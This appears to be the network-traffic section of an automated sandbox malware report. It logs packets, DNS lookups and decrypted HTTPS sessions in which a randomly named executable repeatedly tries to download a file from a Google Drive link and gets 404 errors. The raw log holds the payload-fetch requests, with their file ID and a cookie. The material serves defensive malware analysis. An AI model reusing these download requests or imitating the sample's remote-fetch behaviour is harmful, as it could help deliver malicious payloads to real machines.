Jan 10, 2025 15:40:36.316443920 CET	52265	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:36.316448927 CET	443	52265	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:36.700100899 CET	443	52265	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:36.700381994 CET	52265	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:36.700403929 CET	443	52265	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:36.700565100 CET	52265	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:36.700599909 CET	52265	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:36.700630903 CET	443	52265	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:36.700684071 CET	52265	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:36.705792904 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:36.705843925 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:36.705925941 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:36.706182003 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:36.706193924 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.363647938 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.363800049 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.366480112 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.366497040 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.366796017 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.366802931 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.845448971 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.845550060 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.845567942 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.845606089 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.845628977 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.845654011 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.845654964 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.845705986 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.846465111 CET	52266	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:37.846486092 CET	443	52266	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:37.971916914 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:37.971956015 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:37.972035885 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:37.972345114 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:37.972356081 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:38.659482956 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:38.659595966 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:38.660583973 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:38.660660028 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:38.662467003 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:38.662478924 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:38.662822008 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:38.662877083 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:38.663309097 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:38.703341961 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:39.058480978 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:39.058675051 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:39.058707952 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:39.058728933 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:39.058892012 CET	52267	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:39.058913946 CET	443	52267	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:39.072674990 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:39.072705984 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:39.072788000 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:39.073086977 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:39.073101044 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:39.717488050 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:39.717694998 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:39.718142986 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:39.718158960 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:39.718322992 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:39.718333006 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.313625097 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.313724995 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.313747883 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:40.313774109 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.313790083 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:40.313831091 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:40.313838005 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.313857079 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.313884974 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:40.313910007 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:40.314477921 CET	52268	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:40.314498901 CET	443	52268	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:40.441245079 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:40.441348076 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:40.441572905 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:40.441755056 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:40.441800117 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.193018913 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.193099022 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.193627119 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.193640947 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.193891048 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.193900108 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.577877045 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.577965021 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.578033924 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.578110933 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.578165054 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.578231096 CET	443	52269	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:41.578295946 CET	52269	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:41.603321075 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:41.603368998 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:41.603518963 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:41.603919029 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:41.603933096 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.232173920 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.232249022 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.232703924 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.232717991 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.232867956 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.232875109 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.665096998 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.665126085 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.665172100 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.665205002 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.665220976 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.665319920 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.665360928 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.665903091 CET	52270	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:42.665925980 CET	443	52270	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:42.784024000 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:42.784085035 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:42.784195900 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:42.784528017 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:42.784549952 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.485913038 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.486732960 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.487201929 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.487277985 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.488581896 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.488610029 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.489681959 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.489773035 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.490047932 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.535329103 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.878143072 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.878232956 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.878484011 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.902498007 CET	52271	443	192.168.2.7	172.217.18.14
Jan 10, 2025 15:40:43.902569056 CET	443	52271	172.217.18.14	192.168.2.7
Jan 10, 2025 15:40:43.911336899 CET	52272	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:43.911391020 CET	443	52272	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:43.911792040 CET	52272	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:43.911792040 CET	52272	443	192.168.2.7	142.250.186.161
Jan 10, 2025 15:40:43.911835909 CET	443	52272	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:44.562072039 CET	443	52272	142.250.186.161	192.168.2.7
Jan 10, 2025 15:40:44.562143087 CET	52272	443	192.168.2.7	142.250.186.161

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:39:02.633419991 CET	53	64105	1.1.1.1	192.168.2.7
Jan 10, 2025 15:39:02.942725897 CET	53899	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:39:02.949287891 CET	53	53899	1.1.1.1	192.168.2.7
Jan 10, 2025 15:39:04.079005957 CET	61958	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:39:04.086134911 CET	53	61958	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:39:02.942725897 CET	192.168.2.7	1.1.1.1	0xeda5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:39:04.079005957 CET	192.168.2.7	1.1.1.1	0xaf26	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:39:02.949287891 CET	1.1.1.1	192.168.2.7	0xeda5	No error (0)	drive.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:39:04.086134911 CET	1.1.1.1	192.168.2.7	0xaf26	No error (0)	drive.usercontent.google.com		142.250.186.161	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	51990	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:03 UTC	216	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 14:39:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:03 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-lzONwOcMYEinkNQ6M9Rpow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	51996	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:04 UTC	258	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 14:39:05 UTC	2218	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTwPpK8b1IEFeWcBtM_0eBX8hjW67ysALGjNpiEgOaf4Sd-FQUXvMMuSLuL1qtMlqbl Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:05 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-GV42_E1Q4HqwbFpjWxZNyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU; expires=Sat, 12-Jul-2025 14:39:05 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:05 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 62 66 44 48 4e 78 31 41 45 49 30 69 7a 61 72 50 69 38 2d 72 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kbfDHNx1AEI0izarPi8-rA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	52007	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:06 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:06 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:06 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-slEN3OyqCp1vPRzcvEXeyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	52013	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:07 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:07 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQdeXmSp-9MKnLMvfT1s59gCYGFB0f3Fwqm-wjLqfzQLbnvgzorc74mQ0yQ45f78GkykQPKaaI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:07 GMT Content-Security-Policy: script-src 'nonce-9kCbDWdbZ-iRhnrYLz6QJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:07 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 59 45 6b 7a 6a 43 6b 59 30 58 4f 5a 66 54 64 51 72 36 7a 67 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NYEkzjCkY0XOZfTdQr6zgw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	52019	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:08 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
